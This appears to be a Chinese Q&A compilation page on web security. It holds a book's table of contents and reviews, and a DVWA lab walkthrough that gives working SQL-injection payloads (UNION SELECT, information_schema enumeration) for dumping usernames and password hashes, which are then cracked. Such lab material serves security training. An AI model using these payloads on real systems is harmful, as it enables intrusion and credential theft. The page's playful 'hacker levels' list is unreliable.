『壹』 網路攻防平台有哪些
我們平時涉及到的計算機網路攻防技術，主要指計算機的防病毒技術和製造具破壞性的病毒的技術。具體的攻和防指的，一個是黑客，一個是殺毒軟體。一個是入侵計算機系統的技術，一個是保護計算機不被入侵的技術。
防禦：對應用層的防範通常比內網防範難度要更大，因為這些應用要允許外部的訪問。防火牆的訪問控制策略中必須開放應用服務對應的埠，如web的80埠。這樣，黑客通過這些埠發起攻擊時防火牆無法進行識別控制。入侵檢測和入侵防禦系統並不是針對應用協議進行設計，所以同樣無法檢測對相應協議漏洞的攻擊。而應用入侵防護系統則能夠彌補防火牆和入侵檢測系統的不足，對特定應用進行有效保護。
『貳』 Web應用安全威脅與防治——基於OWASP Top 10與ESAPI的目錄
第1篇 引子
故事一：家有一IT，如有一寶 2
故事二：微博上的蠕蟲 3
故事三：明文密碼 5
故事四：IT青年VS禪師 5
第2篇 基礎篇
第1章 Web應用技術 8
1.1 HTTP簡介 8
1.2 HTTPS簡介 10
1.3 URI 11
1.3.1 URL 11
1.3.2 URI/URL/URN 12
1.3.3 URI比較 13
1.4 HTTP消息 13
1.4.1 HTTP方法14
1.4.2 HTTP狀態碼 19
1.5 HTTP Cookie20
1.5.1 HTTP Cookie的作用22
1.5.2 HTTP Cookie的缺點23
1.6 HTTP session23
1.7 HTTP的安全 24
第2章 OWASP 27
2.1 OWASP簡介27
2.2 OWASP風險評估方法28
2.3 OWASP Top 10 34
2.4 ESAPI（Enterprise Security API） 35
第3篇 工具篇
第3章 Web伺服器工具簡介 38
3.1 Apache 38
3.2 其他Web伺服器 39
第4章 Web瀏覽器以及調試工具 42
4.1 瀏覽器簡介 42
4.1.1 基本功能 42
4.1.2 主流瀏覽器 43
4.1.3 瀏覽器內核 44
4.2 開發調試工具 45
第5章 滲透測試工具 47
5.1 Fiddler 47
5.1.1 工作原理 47
5.1.2 如何捕捉HTTPS會話 48
5.1.3 Fiddler功能介紹 49
5.1.4 Fiddler擴展功能 56
5.1.5 Fiddler第三方擴展功能 56
5.2 ZAP 58
5.2.1 斷點調試 60
5.2.2 編碼/解碼 61
5.2.3 主動掃描 62
5.2.4 Spider63
5.2.5 暴力破解 64
5.2.6 埠掃描 65
5.2.7 Fuzzer66
5.2.8 API 66
5.3 WebScrab 67
5.3.1 HTTP代理67
5.3.2 Manual Request 69
5.3.3 Spider70
5.3.4 Session ID分析71
5.3.5 Bean Shell的支持 71
5.3.6 Web編碼和解碼 73
第6章 掃描工具簡介 74
6.1 萬能的掃描工具——WebInspect 74
6.1.1 引言 74
6.1.2 WebInspect特性 74
6.1.3 環境准備 74
6.1.4 HP WebInspect總覽 76
6.1.5 Web網站測試 79
6.1.6 企業測試 86
6.1.7 生成報告 88
6.2 開源掃描工具——w3af 91
6.2.1 w3af概述 91
6.2.2 w3af環境配置 92
6.2.3 w3af使用示例 93
6.3 被動掃描的利器——Ratproxy 94
6.3.1 Ratproxy概述 94
6.3.2 Ratproxy環境配置 95
6.3.3 Ratproxy運行 96
第7章 漏洞學習網站 98
7.1 WebGoat 98
7.2 DVWA 99
7.3 其他的漏洞學習網站 99
第4篇 攻防篇
第8章 代碼注入 102
8.1 注入的分類 104
8.1.1 OS命令注入 104
8.1.2 XPath注入109
8.1.3 LDAP注入114
8.1.4 sql注入 118
8.1.5 JSON注入131
8.1.6 URL參數注入 133
8.2 OWASP ESAPI與注入問題的預防 135
8.2.1 命令注入的ESAPI預防 135
8.2.2 XPath注入的ESAPI預防 138
8.2.3 LDAP注入的ESAPI預防 138
8.2.4 SQL注入的ESAPI預防 141
8.2.5 其他注入的ESAPI預防 143
8.3 注入預防檢查列表 143
8.4 小結 144
第9章 跨站腳本（XSS）146
9.1 XSS簡介 146
9.2 XSS分類 146
9.2.1 反射式XSS 146
9.2.2 存儲式XSS 148
9.2.3 基於DOM的XSS 149
9.2.4 XSS另一種分類法 151
9.3 XSS危害 154
9.4 XSS檢測 156
9.4.1 手動檢測 156
9.4.2 半自動檢測 158
9.4.3 全自動檢測 158
9.5 XSS的預防 159
9.5.1 一刀切 159
9.5.2 在伺服器端預防 160
9.5.3 在客戶端預防 168
9.5.4 富文本框的XSS預防措施 170
9.5.5 CSS 172
9.5.6 FreeMarker174
9.5.7 OWASP ESAPI與XSS的預防 177
9.6 XSS檢查列表 183
9.7 小結 184
第10章 失效的身份認證和會話管理 185
10.1 身份認證和會話管理簡介185
10.2 誰動了我的琴弦——會話劫持186
10.3 請君入瓮——會話固定 188
10.4 我很含蓄——非直接會話攻擊191
10.5 如何測試 199
10.5.1 會話固定測試 199
10.5.2 用Web Scrab分析會話ID 200
10.6 如何預防會話攻擊 202
10.6.1 如何防治固定會話 202
10.6.2 保護你的會話令牌 204
10.7 身份驗證 208
10.7.1 雙因子認證流程圖 209
10.7.2 雙因子認證原理說明 210
10.7.3 隱藏在QR Code里的秘密 211
10.7.4 如何在伺服器端實現雙因子認證 212
10.7.5 我沒有智能手機怎麼辦 216
10.8 身份認證設計的基本准則216
10.8.1 密碼長度和復雜性策略 216
10.8.2 實現一個安全的密碼恢復策略 217
10.8.3 重要的操作應通過HTTPS傳輸 217
10.8.4 認證錯誤信息以及賬戶鎖定 219
10.9 檢查列表 219
10.9.1 身份驗證和密碼管理檢查列表 219
10.9.2 會話管理檢查列表 220
10.10 小結 221
第11章 不安全的直接對象引用 222
11.1 坐一望二——直接對象引用 222
11.2 不安全直接對象引用的危害 224
11.3 其他可能的不安全直接對象引用 224
11.4 不安全直接對象引用的預防 225
11.5 如何使用OWASP ESAPI預防 227
11.6 直接對象引用檢查列表 230
11.7 小結 230
第12章 跨站請求偽造（CSRF） 232
12.1 CSRF簡介 232
12.2 誰動了我的乳酪232
12.3 跨站請求偽造的攻擊原理233
12.4 剝繭抽絲見真相235
12.5 其他可能的攻擊場景236
12.5.1 家用路由器被CSRF攻擊 236
12.5.2 別以為用POST你就躲過了CSRF 238
12.5.3 寫一個自己的CSRF Redirector 241
12.5.4 利用重定向欺騙老實人 243
12.6 跨站請求偽造的檢測245
12.6.1 手工檢測 245
12.6.2 半自動CSRFTester 246
12.7 跨站請求偽造的預防250
12.7.1 用戶需要知道的一些小技巧 250
12.7.2 增加一些確認操作 250
12.7.3 重新認證 250
12.7.4 加入驗證碼（CAPTCHA） 250
12.7.5 ESAPI解決CSRF 250
12.7.6 CSRFGuard 256
12.8 CSRF檢查列表 260
12.9 小結 261
第13章 安全配置錯誤 262
13.1 不能說的秘密——Google hacking 262
13.2 Tomcat那些事 264
13.3 安全配置錯誤的檢測與預防 264
13.3.1 系統配置 264
13.3.2 Web應用伺服器的配置 268
13.3.3 資料庫 282
13.3.4 日誌配置 284
13.3.5 協議 285
13.3.6 開發相關的安全配置 291
13.3.7 編譯器的安全配置 302
13.4 安全配置檢查列表 305
13.5 小結 307
第14章 不安全的加密存儲 308
14.1 關於加密 310
14.1.1 加密演算法簡介 310
14.1.2 加密演算法作用 312
14.1.3 加密分類 313
14.2 加密數據分類 314
14.3 加密數據保護 315
14.3.1 密碼的存儲與保護 315
14.3.2 重要信息的保護 323
14.3.3 密鑰的管理 336
14.3.4 數據的完整性 339
14.3.5 雲系統存儲安全 342
14.3.6 數據保護的常犯錯誤 343
14.4 如何檢測加密存儲數據的安全性 344
14.4.1 審查加密內容 344
14.4.2 已知答案測試（Known Answer Test）344
14.4.3 自發明加密演算法的檢測 345
14.4.4 AES加密演算法的測試 345
14.4.5 代碼審查 346
14.5 如何預防不安全的加密存儲的數據347
14.6 OWASP ESAPI與加密存儲 348
14.6.1 OWASP ESAPI與隨機數 353
14.6.2 OWASP ESAPI 與FIPS 140-2 354
14.7 加密存儲檢查列表 355
14.8 小結 355
第15章 沒有限制的URL訪問357
15.1 掩耳盜鈴——隱藏（Disable）頁面按鈕357
15.2 許可權認證模型 358
15.2.1 自主型訪問控制 360
15.2.2 強制型訪問控制 360
15.2.3 基於角色的訪問控制 361
15.3 繞過認證 363
15.3.1 網路嗅探 364
15.3.2 默認或者可猜測用戶賬號 364
15.3.3 直接訪問內部URL364
15.3.4 修改參數繞過認證 365
15.3.5 可預測的SessionID365
15.3.6 注入問題 365
15.3.7 CSRF 365
15.3.8 繞過認證小結 366
15.4 繞過授權驗證 367
15.4.1 水平越權 368
15.4.2 垂直越權 369
15.5 文件上傳與下載373
15.5.1 文件上傳 373
15.5.2 文件下載和路徑遍歷 377
15.6 靜態資源 382
15.7 後台組件之間的認證383
15.8 SSO 385
15.9 OWASP ESAPI與授權 386
15.9.1 AccessController的實現387
15.9.2 一個AccessController的代碼示例390
15.9.3 我們還需要做些什麼 391
15.10 訪問控制檢查列表 393
15.11 小結 393
第16章 傳輸層保護不足 395
16.1 卧底的故事——對稱加密和非對稱加密395
16.2 明文傳輸問題 396
16.3 有什麼危害398
16.3.1 會話劫持 398
16.3.2 中間人攻擊 399
16.4 預防措施 399
16.4.1 密鑰交換演算法 400
16.4.2 對稱加密和非對稱加密結合 401
16.4.3 SSL/TLS 406
16.5 檢查列表 423
16.6 小結 423
第17章 未驗證的重定向和轉發 425
17.1 三角借貸的故事——轉發和重定向425
17.1.1 URL轉發425
17.1.2 URL重定向 426
17.1.3 轉發與重定向的區別 429
17.1.4 URL 重定向的實現方式 430
17.2 危害 438
17.3 如何檢測 439
17.4 如何預防 440
17.4.1 OWASP ESAPI與預防 441
17.5 重定向和轉發檢查列表 443
17.6 小結 443
第5篇 安全設計、編碼十大原則
第18章 安全設計十大原則 448
設計原則1——簡單易懂 448
設計原則2——最小特權 448
設計原則3——故障安全化450
設計原則4——保護最薄弱環節451
設計原則5——提供深度防禦 452
設計原則6——分隔 453
設計原則7——總體調節 454
設計原則8——默認不信任454
設計原則9——保護隱私 455
設計原則10——公開設計，不要假設隱藏秘密就是安全 455
第19章 安全編碼十大原則 457
編碼原則1——保持簡單 457
編碼原則2——驗證輸入 458
編碼原則3——注意編譯器告警459
編碼原則4——框架和設計要符合安全策略 459
編碼原則5——默認拒絕 460
編碼原則6——堅持最小許可權原則 462
編碼原則7——凈化發送到其他系統的數據 463
編碼原則8——深度預防 464
編碼原則9——使用有效的質量保證技術464
編碼原則10——採用一個安全編碼規范 465
媒體評論
這是一本帶點酷酷的工程師范兒和人文氣質的「硬貨」。作為一名資深IT文藝老人，特別喜歡這種帶著思想氣息卻又有著豐富案例娓娓道來的實用信息安全書，過去卻往往只在國外作者中讀到。正如書中開頭的引子說的那樣：「家有IT，如有一寶。」那麼在Web安全日益火爆的今天，你會不會在讀完這本書後的未來也成為傳說中讓我們頂禮膜拜的大牛呢^-^
——IDF威懾防禦實驗室益雲（公益互聯網）社會創新中心聯合創始人萬濤@黑客老鷹
伴隨互聯網的高速發展，基於B/S架構的業務系統對安全要求越來越高，安全從業人員面臨空前的壓力。如何讓安全從業人員快速掌握Web應用安全？本書以詼諧、幽默的語言，精彩、豐富的實例，幫助安全從業人員從端到端理解Web應用安全。不失為近幾年Web應用安全書籍的上佳之作。
——OWASP中國區主席SecZone高級安全顧問 RIP
很樂意看到有人將自身的資深安全積累和OWASP的最佳實踐出版成書，內容嚴謹細致卻不乏生動。這本信息安全領域的實用手冊將成為銀基安全致力於互聯網安全的參考指導書目之一，我們廣泛的電信、銀行、保險、證券和政府部門等客戶都會從中受益。
——上海銀基信息安全技術有限公司首席技術官胡紹勇（Kurau）
隨著安全訪問控制策略ACL的普及應用，互聯網企業目前面臨的安全風險面主要集中在Web服務層。其中Web應用系統在架構設計、開發編碼過程中是安全漏洞和風險引入的主要階段，而普遍地我們的架構、開發、測試崗位在安全技能與意識上恰恰是相對比較欠缺的。本書詳細介紹了Web安全基礎知識、測試平台與方法，常見漏洞形式與原理，並結合OWASP最佳實踐經驗給出預防建議、設計和編碼原則等。書中舉例生動形象，圖文代碼並茂，步驟歸納清晰。特別推薦給廣大Web開發、測試、安全崗位的朋友們。
—— 中國金山軟體集團信息安全負責人程沖
在網路攻擊愈加復雜，手段日益翻新的今天，Web攻擊依然是大多數攻擊者首選的入侵手段。反思CSDN泄密及新浪微博蠕蟲事件，Web應用的安全突顯其重要性。OWASP作為全球領先的Web應用安全研究團隊，透過本書將Web應用安全的威脅、防禦以及相關的工具進行了詳細的探討和研究。詳盡的操作步驟說明是本書的亮點之一，這些詳實且圖文並茂的內容為逐步深入學習Web應用安全提供了很好的幫助。我衷心希望這本書能夠成為信息安全專業的在校生以及應用安全相關從業人員的學習指導書。
-- 上海交通大學信息安全工程學院施勇(CISSP CISA)
『叄』 dvwa sql injection high級怎麼破
1、設置
把安全等級先調整為low，讓自己獲得點信心，免得一來就被打臉。
2、測試和分析頁面的功能
這里有一個輸入框
根據上面的提示，輸入用戶的id。然後我們輸入之後，發現它返回了關於這個user的信息！這里我們輸入了「1」。
它返回三行數據，一行是我們輸入的用戶ID。一行是用戶名，另外一行是用戶別名。同時，看一下瀏覽器的地址欄那裡，發現url成這樣了
這里有個id=1，是不是就是我們輸入的user id呢？再輸入「2」，發現url變成了
好了，到這里，我們可以得出這里傳進去的id的值是我們可以控制的。我們在輸入框中輸入什麼，就會通過id傳進去什麼！
3、對參數進行測試
對id這個參數進行測試，查看一下它是否存在sql注入漏洞。我們在輸入框裡面輸入「1'」，注意1後面有一個單引號「'」。
發現這里報錯了，說我們的sql語句出現了語法錯誤。
我們可以進行這樣一個猜測：首先它這個id是被兩個「'」包住的。查詢語句可能是這樣的：
select firstname,surname from users where id = '1';
當我們在1之後加一個引號，則會導致單引號數目不平衡，那麼查詢語句會變成這樣：
select firstname,surname from users where id = '1'';
可以看到最後一個引號沒被閉合，那我們該怎麼辦呢？其實有好多種解決的辦法，下面就簡單介紹下。
方法一：可以在原來的基礎上再繼續輸入一個引號，也就是「1''」。這時我們看一下查詢語句：
select firstname,surname from users where id = '1''';
* 在where語句中，當出現多個字元串的時候，「=」將會選擇優先順序最高的一個，優先順序是從左到右，依次降低的，也就是離「=」最近的一個。
看到了么，出來的結果還是和user_id=1一樣。
方法二：使用「#」符號來注釋後面的單引號，到時查詢語句將會變成這樣：
select firstname,surname from users where id = '1'#';
方法三：使用「-- 」。這里注意了「-- 」後面有一個空格。在url當中，我們可以使用「+」來代替「--」後面的空格。到時查詢語句將會變成這樣：
select firstname,surname from users where id = '1'--+';
上面顯示出來的結果和輸入1時一樣。到這里我們就可以確定：
漏洞的參數是「id」。
漏洞的類型是字元型。
4、構造payload
好了，在我們確認漏洞之後，就可以構造payload了。什麼是payload？說白了就是一段惡意代碼，以便我們能夠獲得資料庫裡面的數據。
4.1 分析欄位數
分析欄位數的話，也是有兩種方法。
方法一：用order by 語句。
分析欄位數的原因是我們之後需要用union select語句來獲得我們需要的敏感數據。根據order by知識知道，要是後面跟著的數字超出了欄位數時，就會報錯！通過這個我們可以確定欄位數。我們構造的payload如下：
1' order by 1#
1' order by 2#
1' order by 3#
當輸入到3的時候，發現它報錯了，也就是說欄位數為2。
方法二：直接用union select來猜測欄位數。
因為當欄位數不對應的時候，它也是會發生報錯的！我們構造以下查詢語句：
1' union select 1#
1' union select 1,2#
1' union select 1,2,3#
可以發現，當union select 1,2,3的時候報錯，union select 1,2的時候沒有報錯，也就是說欄位數為2。同時，我們也注意到，好像返回的內容中多了三條數據，這是啥呢？其實這就是我們union select出來的數據。這樣通過查看頁面，我們便可以獲得資料庫裡面的信息了！
4.2 獲取信息
欄位數為2，說明數據列有兩列。我們可以通過union select語句查出兩個數據。好了，我們來獲取所需要的資料庫裡面的信息吧！
4.2.1 獲取當前資料庫名，當前用戶名
構造資料庫查詢語句如下所示：
1' union select database(),user()#
解釋一下，database()將會返回當前網站所使用的資料庫名字，user()將會返回進行當前查詢的用戶名。
好的，我們可以看到當前使用的資料庫為：dvwa，當前的用戶名：root@localhost。
有時候，後面的select語句會限制輸出的行數，一般來說，都會讓原資料庫查詢無效，也就是輸入無效的id，使得原資料庫查詢不反回結果。如下操作：
-1' union select database(),user()#
這樣就只會返回我們需要的數據了。
類似的函數還有：version() 獲取當前資料庫版本,@@version_compile_os獲取當前操作系統。
-1' union select version(),@@version_compile_os#
* 資料庫版本高於5.0就可以爆庫了，下面會具體講解。
4.2.2 獲取當前的用戶表
根據上面的信息，我們知道當前資料庫名為dvwa，可是還不夠呀，表名是什麼？內容又是什麼？是不是打算放棄了？先吃根辣條冷靜一下吧。
想想看，當你有不懂的字會怎麼辦呢？不要動不動就去網路，除了問度娘，還能怎麼做呢？對了，查字典。那麼mysql有沒有類似於字典的東西呢？答案是肯定的，就是information_schema，這是一個包含了mysql資料庫所有信息的「字典」，本質上還是一個database，存放著其他各個數據的信息。
在information_schema里，有一個表tables。有一個columns……是不是有點感覺了？ tables這個表存放的是關於資料庫中所有表的信息，裡面有個欄位叫table_name，還有個欄位叫做table_schema。其中table_name是表名，table_schema表示的是這個表所在的資料庫。對於columns，它有column_name，table_schema，table_name。回想一下，我們擁有的信息是資料庫名。也就是說我們可以構造這樣的payload來從資料庫里獲取一些東西。
好的，構造的查詢語句如下：
-1' union select table_name,2 from information_schema.tables where table_schema= 'dvwa'#
爆出來兩個表，對那個感興趣呢？？？當然是users表啦！不是說還有一個columns表么？所以我們還需要table_name以及table_schema來查column_name。這次我們構造的payload如下：
-1' union select column_name,2 from information_schema.columns where table_schema= 'dvwa' and table_name= 'users'#
這里簡單說一下，倘若不指定資料庫名為'dvwa'，若是其他數據裡面也存在users表的話，則會出現很多混淆的數據。當然，在這里直接使用下面的語句也是可以成功的。
-1' union select column_name,2 from information_schema.columns where table_name='users'#
跟上一條結果一樣吧？
又來了，這么多數據，選哪個呢？？？廢話，當然是user，password啦。我們再次修改payload：
-1' union select user,password from users#
Binggo！我們爆出所有的用戶名和密碼值！等等，這密碼好像有點奇葩，數一數，32位！好吧，是經過md5加密的。好不容易爆出管理員賬號和密碼，但是密碼卻加密，這就沒有辦法了嗎？不一定！我們需要找一些破解md5值的網站來進行破解！直接網路「CMD5」，然後選擇一個網站進去破解就可以了。
我們選擇admin這個來進行破解，md5密文為：。
可以看到密碼已經被破解出來了，密碼是「admin」,好的，我們來驗證一下！
看，這個時候我們已經成功登陸了！
好的，簡單的SQL注入就說到這兒了，下次我們將進行DVWA裡面的中級SQL注入。
『肆』 黑客分為哪幾個等級
黑客的等級可以用下面7個層次來說明：
Level 1——愣頭青【百萬人】：會使用安全工具，只能簡單掃描、破譯密碼
Level 2——系統管理員【上萬人】：善用安全工具，特別熟悉系統及網路
Level 3——大公司的開發人員或核心安全公司大牛【幾千人】：對操作系統特別熟悉，開始開發代碼，寫自己的掃描器
Level 4——能找到並利用漏洞【幾百人】：自己能找漏洞、自己找0day並且寫exp利用漏洞的；對系統做挖掘漏洞的協議測試
Level 5——高水平【少於百人】：防禦和構建系統的人
Level 6——精英級【幾十人到十幾人】：對操作系統的理解很深入
Level 7——大牛牛【寥寥無幾】：馬克·扎克伯格、艾伯特·愛因斯坦等改變世界的人
『伍』 如何在dvwa上進行跨站式腳本攻擊
（1）持久型跨站：最直接的危害類型，跨站代碼存儲在伺服器（資料庫）。
（2）非持久型跨站：反射型跨站腳本漏洞，最普遍的類型。用戶訪問伺服器-跨站鏈接-返回跨站代碼。
（3）DOM跨站（DOM XSS）:DOM(document object model文檔對象模型)，客戶端腳本處理邏輯導致的安全問題。
『陸』 dvwa試驗中php allow_url_include=on 怎麼打開跪求大神指點！
https://stackoverflow.com/questions/34274492/dvwa-setup-php-function-allow-url-include-disabled/34540293 可以參考這篇文章。
『柒』 網路安全怎麼學
你可以把網路安全理解成電商行業、教育行業等其他行業一樣，每個行業都有自己的軟體研發，網路安全作為一個行業也不例外，不同的是這個行業的研發就是開發與網路安全業務相關的軟體。
既然如此，那其他行業通用的崗位在安全行業也是存在的，前端、後端、大數據分析等等，也就是屬於上面的第一個分類，與安全業務關系不大的類型。這里我們重點關注下第二種，與安全業務緊密相關的研發崗位。
這個分類下面又可以分為兩個子類型：
做安全產品開發，做防
做安全工具開發，做攻
防火牆、IDS、IPS
WAF（Web網站應用防火牆）
資料庫網關
NTA（網路流量分析）
SIEM（安全事件分析中心、態勢感知）
大數據安全分析
EDR（終端設備上的安全軟體）
DLP（數據泄漏防護）
殺毒軟體
安全檢測沙箱
安全行業要研發的產品，主要（但不限於）有下面這些：
總結一下，安全研發的產品大部分都是用於檢測發現、抵禦安全攻擊用的，涉及終端側（PC電腦、手機、網路設備等）、網路側。
開發這些產品用到的技術主要以C/C++、Java、Python三大技術棧為主，也有少部分的GoLang、Rust。
安全研發崗位，相對其他兩個方向，對網路安全技術的要求要低一些（只是相對，部分產品的研發對安全技能要求並不低），甚至我見過不少公司的研發對安全一無所知。